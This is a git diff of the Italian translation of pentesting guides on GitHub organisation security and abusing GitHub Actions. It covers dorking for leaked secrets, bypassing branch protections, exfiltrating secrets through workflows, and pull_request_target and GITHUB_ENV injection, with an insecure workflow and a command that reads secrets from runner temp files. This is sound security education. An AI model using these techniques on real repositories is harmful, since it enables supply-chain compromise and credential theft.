Cos'è Github -(Da [qui](https://kinsta.com/knowledgebase/what-is-github/)) A un livello alto, **GitHub è un sito web e un servizio basato su cloud che aiuta gli sviluppatori a memorizzare e gestire il loro codice, oltre a tracciare e controllare le modifiche al loro codice**. +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) A un livello alto, **GitHub è un sito web e un servizio basato su cloud che aiuta gli sviluppatori a memorizzare e gestire il loro codice, oltre a tracciare e controllare le modifiche al loro codice**. ### Informazioni di base @@ -20,7 +20,7 @@ I repository di Github possono essere configurati come pubblici, privati e inter - **Interno** significa che **solo** le persone dell'**impresa** (un'impresa può avere diverse organizzazioni) potranno accedervi - **Pubblico** significa che **tutto internet** potrà accedervi. -Nel caso tu conosca l'**utente, il repo o l'organizzazione che vuoi targetizzare**, puoi usare **github dorks** per trovare informazioni sensibili o cercare **leak di informazioni sensibili** **in ogni repo**. +Nel caso tu conosca il **utente, repo o organizzazione che vuoi targetizzare**, puoi usare **github dorks** per trovare informazioni sensibili o cercare **leak di informazioni sensibili** **in ogni repo**. ### Github Dorks @@ -28,13 +28,13 @@ Github consente di **cercare qualcosa specificando come ambito un utente, un rep Strumenti (ogni strumento contiene il proprio elenco di dorks): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Elenco Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Elenco Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Elenco Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) ### Github Leaks -Si prega di notare che i github dorks sono anche destinati a cercare leak utilizzando le opzioni di ricerca di github. Questa sezione è dedicata a quegli strumenti che **scaricheranno ogni repo e cercheranno informazioni sensibili in essi** (controllando anche una certa profondità di commit). +Si prega di notare che i github dorks sono anche destinati a cercare leak utilizzando le opzioni di ricerca di github. Questa sezione è dedicata a quegli strumenti che **scaricheranno ogni repo e cercheranno informazioni sensibili in essi** (anche controllando una certa profondità di commit). Strumenti (ogni strumento contiene il proprio elenco di regex): @@ -51,7 +51,7 @@ Strumenti (ogni strumento contiene il proprio elenco di regex): ### Fork esterni -È possibile **compromettere i repo abusando delle pull request**. Per sapere se un repo è vulnerabile, è principalmente necessario leggere le configurazioni yaml delle Github Actions. [**Ulteriori informazioni su questo di seguito**](./#execution-from-a-external-fork). +È possibile **compromettere i repo abusando delle pull request**. Per sapere se un repo è vulnerabile, devi principalmente leggere le configurazioni yaml delle Github Actions. [**Maggiori informazioni su questo di seguito**](./#execution-from-a-external-fork). ### Github Leaks in fork eliminati/interni @@ -67,12 +67,12 @@ accessible-deleted-data-in-github.md Ci sono alcuni **privilegi predefiniti** che possono essere assegnati ai **membri** dell'organizzazione. Questi possono essere controllati dalla pagina `https://github.com/organizations//settings/member_privileges` o dall' [**API delle organizzazioni**](https://docs.github.com/en/rest/orgs/orgs). -- **Permessi di base**: I membri avranno il permesso Nessuno/Leggi/scrivi/Amministratore sui repository dell'organizzazione. Si consiglia di impostare **Nessuno** o **Leggi**. +- **Permessi di base**: I membri avranno il permesso Nessuno/Leggi/scrivi/Amministratore sui repository dell'organizzazione. Si raccomanda di impostare **Nessuno** o **Leggi**. - **Forking dei repository**: Se non necessario, è meglio **non consentire** ai membri di forkare i repository dell'organizzazione. - **Creazione di pagine**: Se non necessario, è meglio **non consentire** ai membri di pubblicare pagine dai repo dell'organizzazione. Se necessario, puoi consentire di creare pagine pubbliche o private. - **Richieste di accesso all'integrazione**: Con questo abilitato, i collaboratori esterni potranno richiedere l'accesso per le app GitHub o OAuth per accedere a questa organizzazione e alle sue risorse. È solitamente necessario, ma se non lo è, è meglio disabilitarlo. - _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_ -- **Cambio di visibilità del repository**: Se abilitato, i **membri** con permessi **amministrativi** per il **repository** potranno **cambiare la sua visibilità**. Se disabilitato, solo i proprietari dell'organizzazione possono cambiare le visibilità dei repository. Se **non** vuoi che le persone rendano le cose **pubbliche**, assicurati che questo sia **disabilitato**. +- **Cambio di visibilità del repository**: Se abilitato, i **membri** con permessi **amministrativi** per il **repository** potranno **cambiare la sua visibilità**. Se disabilitato, solo i proprietari dell'organizzazione possono cambiare le visibilità dei repository. Se non vuoi che le persone rendano le cose **pubbliche**, assicurati che questo sia **disabilitato**. - _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_ - **Cancellazione e trasferimento del repository**: Se abilitato, i membri con permessi **amministrativi** per il repository potranno **cancellare** o **trasferire** **repository** pubblici e privati. - _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_ @@ -87,21 +87,21 @@ Diverse impostazioni relative alla sicurezza possono essere configurate per le a > [!NOTE] > Nota che tutte queste configurazioni possono anche essere impostate su ciascun repository in modo indipendente -- **Politiche delle azioni di Github**: Ti consente di indicare quali repository possono eseguire flussi di lavoro e quali flussi di lavoro dovrebbero essere consentiti. Si consiglia di **specificare quali repository** dovrebbero essere consentiti e di non consentire a tutte le azioni di essere eseguite. +- **Politiche delle azioni di Github**: Ti consente di indicare quali repository possono eseguire flussi di lavoro e quali flussi di lavoro dovrebbero essere consentiti. Si raccomanda di **specificare quali repository** dovrebbero essere consentiti e di non consentire a tutte le azioni di essere eseguite. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Flussi di lavoro delle pull request forkate da collaboratori esterni**: Si consiglia di **richiedere approvazione per tutti** i collaboratori esterni. +- **Flussi di lavoro delle pull request forkate da collaboratori esterni**: Si raccomanda di **richiedere approvazione per tutti** i collaboratori esterni. - _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_ -- **Esegui flussi di lavoro da pull request forkate**: È **fortemente sconsigliato eseguire flussi di lavoro da pull request** poiché i manutentori dell'origine del fork avranno la possibilità di utilizzare token con permessi di lettura sul repository sorgente. +- **Esegui flussi di lavoro da pull request forkate**: È **fortemente sconsigliato eseguire flussi di lavoro da pull request** poiché i manutentori del fork originale avranno la possibilità di utilizzare token con permessi di lettura sul repository sorgente. - _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_ -- **Permessi dei flussi di lavoro**: È altamente consigliato **fornire solo permessi di lettura sui repository**. È sconsigliato fornire permessi di scrittura e di creazione/approvazione delle pull request per evitare l'abuso del GITHUB_TOKEN fornito per i flussi di lavoro in esecuzione. +- **Permessi dei flussi di lavoro**: È altamente raccomandato **fornire solo permessi di lettura sui repository**. È sconsigliato fornire permessi di scrittura e di creazione/approvazione delle pull request per evitare l'abuso del GITHUB_TOKEN fornito per l'esecuzione dei flussi di lavoro. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrazioni _Fammi sapere se conosci l'endpoint API per accedere a queste informazioni!_ -- **Politica di accesso alle applicazioni di terze parti**: Si consiglia di limitare l'accesso a ogni applicazione e consentire solo quelle necessarie (dopo averle esaminate). -- **App GitHub installate**: Si consiglia di consentire solo quelle necessarie (dopo averle esaminate). +- **Politica di accesso alle applicazioni di terze parti**: Si raccomanda di limitare l'accesso a ogni applicazione e consentire solo quelle necessarie (dopo averle esaminate). +- **App GitHub installate**: Si raccomanda di consentire solo quelle necessarie (dopo averle esaminate). ## Ricognizione e attacchi abusando delle credenziali @@ -109,7 +109,7 @@ Per questo scenario supponiamo che tu abbia ottenuto un accesso a un account git ### Con le credenziali dell'utente -Se in qualche modo hai già le credenziali per un utente all'interno di un'organizzazione, puoi **solo accedere** e controllare quali **ruoli aziendali e di organizzazione hai**, se sei un membro normale, controlla quali **permessi hanno i membri normali**, in quali **gruppi** sei, quali **permessi hai** su quali **repo** e **come sono protetti i repo**. +Se in qualche modo hai già le credenziali per un utente all'interno di un'organizzazione, puoi **solo accedere** e controllare quali **ruoli di impresa e organizzazione hai**, se sei un membro normale, controlla quali **permessi hanno i membri normali**, in quali **gruppi** sei, quali **permessi hai** su quali **repo** e **come sono protetti i repo**. Nota che **2FA potrebbe essere utilizzato**, quindi potrai accedere a queste informazioni solo se puoi anche **superare quel controllo**. @@ -122,7 +122,7 @@ Controlla la sezione qui sotto riguardo ai [**bypass delle protezioni dei rami** Github consente agli **utenti** di impostare **chiavi SSH** che verranno utilizzate come **metodo di autenticazione per distribuire codice** per loro conto (non viene applicata 2FA). -Con questa chiave puoi effettuare **modifiche nei repository dove l'utente ha alcuni privilegi**, tuttavia non puoi usarla per accedere all'API di github per enumerare l'ambiente. Tuttavia, puoi **enumerare le impostazioni locali** per ottenere informazioni sui repo e sull'utente a cui hai accesso: +Con questa chiave puoi eseguire **modifiche nei repository dove l'utente ha alcuni privilegi**, tuttavia non puoi usarla per accedere all'API di github per enumerare l'ambiente. Tuttavia, puoi **enumerare le impostazioni locali** per ottenere informazioni sui repo e sull'utente a cui hai accesso: ```bash # Go to the the repository folder # Get repo config and current user name and email @@ -152,9 +152,9 @@ Un token utente appare così: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` Per un'introduzione sulle [**Applicazioni Oauth di Github controlla le informazioni di base**](basic-github-information.md#oauth-applications). -Un attaccante potrebbe creare un'**Applicazione Oauth malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing. +Un attaccante potrebbe creare un **Applicazione Oauth malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing. -Questi sono i [scope che un'applicazione Oauth può richiedere](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utente dovrebbe sempre controllare gli scope richiesti prima di accettarli. +Questi sono gli [ambiti che un'applicazione Oauth può richiedere](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utente dovrebbe sempre controllare gli ambiti richiesti prima di accettarli. Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repos/azioni relative all'organizzazione. @@ -162,7 +162,7 @@ Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono c Per un'introduzione sulle [**Applicazioni Github controlla le informazioni di base**](basic-github-information.md#github-applications). -Un attaccante potrebbe creare un'**Applicazione Github malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing. +Un attaccante potrebbe creare un **Applicazione Github malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing. Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repos/azioni relative all'organizzazione. @@ -181,12 +181,12 @@ abusing-github-actions/ - **Annullare le approvazioni quando vengono inviati nuovi commit**: Se questo non è impostato, puoi inviare codice legittimo, aspettare che qualcuno lo approvi e poi inserire codice malevolo e unirlo nel branch protetto. - **Richiedere revisioni dai Code Owners**: Se questo è attivato e sei un Code Owner, potresti far sì che una **Github Action crei la tua PR e poi approvarla tu stesso**. - Quando un **file CODEOWNER è configurato in modo errato**, Github non si lamenta ma non lo utilizza. Pertanto, se è configurato in modo errato, **la protezione dei Code Owners non viene applicata.** -- **Consentire a attori specificati di bypassare i requisiti delle pull request**: Se sei uno di questi attori, puoi bypassare le protezioni delle pull request. +- **Consentire a attori specificati di bypassare i requisiti delle pull request**: Se sei uno di questi attori puoi bypassare le protezioni delle pull request. - **Includere gli amministratori**: Se questo non è impostato e sei un amministratore del repo, puoi bypassare queste protezioni del branch. -- **Hijacking delle PR**: Potresti essere in grado di **modificare la PR di qualcun altro** aggiungendo codice malevolo, approvando la PR risultante tu stesso e unendo tutto. +- **PR Hijacking**: Potresti essere in grado di **modificare la PR di qualcun altro** aggiungendo codice malevolo, approvando la PR risultante tu stesso e unendo tutto. - **Rimozione delle Protezioni dei Branch**: Se sei un **amministratore del repo puoi disabilitare le protezioni**, unire la tua PR e ripristinare le protezioni. - **Bypass delle protezioni di push**: Se un repo **consente solo a determinati utenti** di inviare push (unire codice) nei branch (la protezione del branch potrebbe proteggere tutti i branch specificando il carattere jolly `*`). -- Se hai **accesso in scrittura sul repo ma non ti è permesso inviare codice** a causa della protezione del branch, puoi comunque **creare un nuovo branch** e al suo interno creare una **github action che viene attivata quando viene inviato codice**. Poiché **la protezione del branch non proteggerà il branch fino a quando non sarà creato**, questo primo push di codice nel branch **eseguirà la github action**. +- Se hai **accesso in scrittura al repo ma non ti è permesso inviare codice** a causa della protezione del branch, puoi comunque **creare un nuovo branch** e all'interno di esso creare una **github action che viene attivata quando viene inviato codice**. Poiché **la protezione del branch non proteggerà il branch fino a quando non sarà creato**, questo primo push di codice nel branch **eseguirà la github action**. ## Bypass delle Protezioni degli Ambienti @@ -194,7 +194,7 @@ Per un'introduzione sulle [**Ambientazioni di Github controlla le informazioni d Nel caso in cui un ambiente possa essere **accessibile da tutti i branch**, **non è protetto** e puoi facilmente accedere ai segreti all'interno dell'ambiente. Nota che potresti trovare repo in cui **tutti i branch sono protetti** (specificando i loro nomi o utilizzando `*`), in quel caso, **trova un branch dove puoi inviare codice** e puoi **esfiltrare** i segreti creando una nuova github action (o modificandone una). -Nota che potresti trovare il caso limite in cui **tutti i branch sono protetti** (via carattere jolly `*`) è specificato **chi può inviare codice ai branch** (_puoi specificarlo nella protezione del branch_) e **il tuo utente non è autorizzato**. Puoi comunque eseguire una github action personalizzata perché puoi creare un branch e utilizzare il trigger di push su se stesso. La **protezione del branch consente il push a un nuovo branch quindi la github action verrà attivata**. +Nota che potresti trovare il caso limite in cui **tutti i branch sono protetti** (tramite carattere jolly `*`) è specificato **chi può inviare codice ai branch** (_puoi specificarlo nella protezione del branch_) e **il tuo utente non è autorizzato**. Puoi comunque eseguire una github action personalizzata perché puoi creare un branch e utilizzare il trigger di push su se stesso. La **protezione del branch consente il push a un nuovo branch quindi la github action verrà attivata**. ```yaml push: # Run it when a push is made to a branch branches: @@ -206,8 +206,8 @@ Nota che **dopo la creazione** del branch, la **protezione del branch si applich - Genera **user token** - Ruba **github tokens** da **secrets** -- **Cancellazione** dei **risultati** del workflow e dei **branch** -- Dai **più permessi a tutta l'org** +- **Cancellazione** dei **risultati** e dei **branch** del workflow +- Dai **più permessi a tutta l'organizzazione** - Crea **webhook** per esfiltrare informazioni - Invita **collaboratori esterni** - **Rimuovi** i **webhook** utilizzati dal **SIEM** diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index e0a509a64..abb9964c8 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,20 +1,20 @@ -# Abusing Github Actions +# Abusare di Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base In questa pagina troverai: -- Un **riassunto di tutti gli impatti** di un attaccante che riesce ad accedere a un'azione Github +- Un **riassunto di tutti gli impatti** di un attaccante che riesce ad accedere a un'azione di Github - Diversi modi per **ottenere accesso a un'azione**: - Avere **permessi** per creare l'azione - Abusare dei trigger relativi alle **pull request** - Abusare di **altre tecniche di accesso esterno** - **Pivotare** da un repository già compromesso -- Infine, una sezione sulle **tecniche di post-sfruttamento per abusare di un'azione dall'interno** (causando gli impatti menzionati) +- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un'azione dall'interno** (causando gli impatti menzionati) -## Impacts Summary +## Riepilogo degli Impatti Per un'introduzione su [**Github Actions controlla le informazioni di base**](../basic-github-information.md#github-actions). @@ -22,8 +22,8 @@ Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **rep - **Rubare segreti** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP. - **Compromettere distribuzioni** e altri **artifacts**. -- Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla supply chain. -- **Eseguire codice in worker personalizzati** per abusare della potenza di calcolo e pivotare verso altri sistemi. +- Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla catena di approvvigionamento. +- **Eseguire codice in worker personalizzati** per abusare della potenza di calcolo e pivotare su altri sistemi. - **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`. ## GITHUB_TOKEN @@ -151,7 +151,7 @@ Nel caso in cui i membri di un'organizzazione possano **creare nuovi repo** e tu ### Esecuzione da un Nuovo Branch -Se puoi **creare un nuovo branch in un repository che contiene già un'azione Github** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'azione dal nuovo branch**. In questo modo puoi **esfiltrare i segreti a livello di repository e organizzazione** (ma devi sapere come si chiamano). +Se puoi **creare un nuovo branch in un repository che già contiene un'azione Github** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'azione dal nuovo branch**. In questo modo puoi **esfiltrare i segreti a livello di repository e organizzazione** (ma devi sapere come si chiamano). Puoi rendere l'azione modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **alcuni codici vengono caricati** (a seconda di quanto vuoi essere evidente): ```yaml @@ -170,7 +170,7 @@ branches: ## Esecuzione Forked > [!NOTE] -> Ci sono diversi trigger che potrebbero consentire a un attaccante di **eseguire un Github Action di un altro repository**. Se quelle azioni attivabili sono configurate in modo errato, un attaccante potrebbe essere in grado di comprometterle. +> Ci sono diversi trigger che potrebbero consentire a un attaccante di **eseguire un Github Action di un altro repository**. Se quelle azioni attivabili sono configurate male, un attaccante potrebbe essere in grado di comprometterle. ### `pull_request` @@ -179,11 +179,11 @@ Il trigger del workflow **`pull_request`** eseguirà il workflow ogni volta che
> [!NOTE] -> Poiché la **limitazione predefinita** è per i **contributori alla prima esperienza**, potresti contribuire **correggendo un bug/errore valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi di `pull_request`**. +> Poiché la **limitazione predefinita** è per i **contributori alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi di `pull_request`**. > > **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.~~ -Inoltre, per impostazione predefinita **prevenire i permessi di scrittura** e **l'accesso ai segreti** al repository target come menzionato nella [**documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Inoltre, per impostazione predefinita **previene i permessi di scrittura** e **l'accesso ai segreti** al repository di destinazione come menzionato nella [**documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > Con l'eccezione di `GITHUB_TOKEN`, **i segreti non vengono passati al runner** quando un workflow è attivato da un **repository forked**. Il **`GITHUB_TOKEN` ha permessi di sola lettura** nelle pull request **da repository forked**. @@ -192,14 +192,14 @@ Un attaccante potrebbe modificare la definizione del Github Action per eseguire > [!CAUTION] > **Sì, se l'attaccante cambia nella PR l'azione github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repo di origine!** -Poiché l'attaccante controlla anche il codice in esecuzione, anche se non ci sono segreti o permessi di scrittura sul `GITHUB_TOKEN`, un attaccante potrebbe ad esempio **caricare artefatti dannosi**. +Poiché l'attaccante controlla anche il codice eseguito, anche se non ci sono segreti o permessi di scrittura sul `GITHUB_TOKEN`, un attaccante potrebbe ad esempio **caricare artefatti dannosi**. ### **`pull_request_target`** -Il trigger del workflow **`pull_request_target`** ha **permessi di scrittura** al repository target e **accesso ai segreti** (e non richiede permesso). +Il trigger del workflow **`pull_request_target`** ha **permessi di scrittura** al repository di destinazione e **accesso ai segreti** (e non richiede permesso). Nota che il trigger del workflow **`pull_request_target`** **viene eseguito nel contesto di base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per ulteriori informazioni su `pull_request_target` [**controlla la documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Inoltre, per ulteriori informazioni su questo specifico uso pericoloso controlla questo [**post del blog di github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Inoltre, per ulteriori informazioni su questo specifico uso pericoloso, controlla questo [**post del blog di github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). Potrebbe sembrare che poiché il **workflow eseguito** è quello definito nella **base** e **non nella PR**, sia **sicuro** utilizzare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**. @@ -209,7 +209,7 @@ E questo avrà **accesso ai segreti**. Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) consente di eseguire un workflow da un altro quando è `completato`, `richiesto` o `in_corso`. -In questo esempio, un workflow è configurato per essere eseguito dopo il completamento del separato workflow "Esegui Test": +In questo esempio, un workflow è configurato per essere eseguito dopo che il separato workflow "Esegui Test" è completato: ```yaml on: workflow_run: @@ -217,29 +217,29 @@ workflows: [Run Tests] types: - completed ``` -Inoltre, secondo la documentazione: Il flusso di lavoro avviato dall'evento `workflow_run` è in grado di **accedere ai segreti e scrivere token, anche se il flusso di lavoro precedente non lo era**. +Inoltre, secondo la documentazione: Il workflow avviato dall'evento `workflow_run` è in grado di **accedere a segreti e scrivere token, anche se il workflow precedente non lo era**. -Questo tipo di flusso di lavoro potrebbe essere attaccato se **dipende** da un **flusso di lavoro** che può essere **attivato** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel flusso di lavoro attivato da **`workflow_run`** che scarica il codice degli attaccanti: `${{ github.event.pull_request.head.sha }}`\ -Il secondo consiste nel **passare** un **artifact** dal codice **non attendibile** al flusso di lavoro **`workflow_run`** e utilizzare il contenuto di questo artifact in un modo che lo rende **vulnerabile a RCE**. +Questo tipo di workflow potrebbe essere attaccato se **dipende** da un **workflow** che può essere **attivato** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice degli attaccanti: `${{ github.event.pull_request.head.sha }}`\ +Il secondo consiste nel **passare** un **artifact** dal codice **non attendibile** al workflow **`workflow_run`** e utilizzare il contenuto di questo artifact in un modo che lo rende **vulnerabile a RCE**. ### `workflow_call` TODO -TODO: Controlla se, quando eseguito da un pull_request, il codice utilizzato/scaricato è quello dell'origine o da PR forkato +TODO: Controlla se quando eseguito da un pull_request il codice utilizzato/scaricato è quello dell'origine o da PR forkato ## Abuso dell'Esecuzione Forkata -Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un flusso di lavoro github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate: +Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un workflow di github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate: ### Esecuzione di checkout non attendibile -Nel caso di **`pull_request`,** il flusso di lavoro verrà eseguito nel **contesto del PR** (quindi eseguirà il **codice malevolo del PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](./#pull_request). +Nel caso di **`pull_request`,** il workflow verrà eseguito nel **contesto del PR** (quindi eseguirà il **codice malevolo del PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](./#pull_request). -Nel caso di un flusso di lavoro che utilizza **`pull_request_target` o `workflow_run`** che dipende da un flusso di lavoro che può essere attivato da **`pull_request_target` o `pull_request`**, il codice del repository originale verrà eseguito, quindi l'**attaccante non può controllare il codice eseguito**. +Nel caso di un workflow che utilizza **`pull_request_target` o `workflow_run`** che dipende da un workflow che può essere attivato da **`pull_request_target` o `pull_request`**, il codice del repository originale verrà eseguito, quindi l'**attaccante non può controllare il codice eseguito**. > [!CAUTION] -> Tuttavia, se l'**azione** ha un **checkout PR esplicito** che **prenderà il codice dal PR** (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice PR viene scaricato): +> Tuttavia, se l'**azione** ha un **checkout PR esplicito** che **prenderà il codice dal PR** (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice del PR viene scaricato): 
# INSECURE. Fornito solo come esempio.
 on:
@@ -269,14 +269,14 @@ message: |
 Thank you!
-Il potenziale **codice non attendibile viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR. +Il potenziale **codice non attendibile viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **pacchetti** referenziati sono controllati dall'autore del PR. > [!WARNING] > Un dork di github per cercare azioni vulnerabili è: `event.pull_request pull_request_target extension:yml` tuttavia, ci sono diversi modi per configurare i lavori da eseguire in modo sicuro anche se l'azione è configurata in modo insicuro (come utilizzare condizioni su chi è l'attore che genera il PR). ### Iniezioni di Script nel Contesto -Nota che ci sono certi [**contesti github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea il PR. Se l'azione github utilizza quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **esecuzione di codice arbitrario:** +Nota che ci sono certi [**contesti di github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea il PR. Se l'azione di github utilizza quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **esecuzione di codice arbitrario:** {{#ref}} gh-actions-context-script-injections.md @@ -284,23 +284,23 @@ gh-actions-context-script-injections.md ### **Iniezione di Script GITHUB_ENV** -Dalla documentazione: Puoi rendere una **variabile di ambiente disponibile per qualsiasi passaggio successivo** in un lavoro di flusso di lavoro definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente **`GITHUB_ENV`**. +Dalla documentazione: Puoi rendere una **variabile di ambiente disponibile per qualsiasi passaggio successivo** in un lavoro di workflow definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente **`GITHUB_ENV`**. Se un attaccante potesse **iniettare qualsiasi valore** all'interno di questa variabile **env**, potrebbe iniettare variabili di ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**. -Ad esempio ([**questo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**questo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un flusso di lavoro che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo: +Ad esempio ([**questo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**questo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
-### Azioni Github di Terze Parti Vulnerabili +### Azioni di Terze Parti Vulnerabili di Github #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Come menzionato in [**questo post del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Azione Github consente di accedere ad artifact provenienti da diversi flussi di lavoro e persino repository. +Come menzionato in [**questo post del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Azione Github consente di accedere ad artifact provenienti da diversi workflow e persino repository. -Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel flusso di lavoro. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusare di questo per compromettere altri flussi di lavoro che si fidano dell'Artifact. +Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusare di questo per compromettere altri workflow che si fidano dell'Artifact. -Esempio di flusso di lavoro vulnerabile: +Esempio di workflow vulnerabile: ```yaml on: workflow_run: @@ -340,7 +340,7 @@ path: ./script.py ``` --- -## Altra Accesso Esterno +## Altro Accesso Esterno ### Hijacking di Namespace Repo Cancellati @@ -448,7 +448,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -- Se il segreto è utilizzato **direttamente in un'espressione**, lo script shell generato è memorizzato **su disco** ed è accessibile. +- Se il segreto è usato **direttamente in un'espressione**, lo script shell generato è memorizzato **su disco** ed è accessibile. - ```bash cat /home/runner/work/_temp/* ``` @@ -534,9 +534,9 @@ Anche se **Github** cerca di **rilevare valori segreti** nei log delle azioni e ## Coprire le tue tracce -(Tecnica da 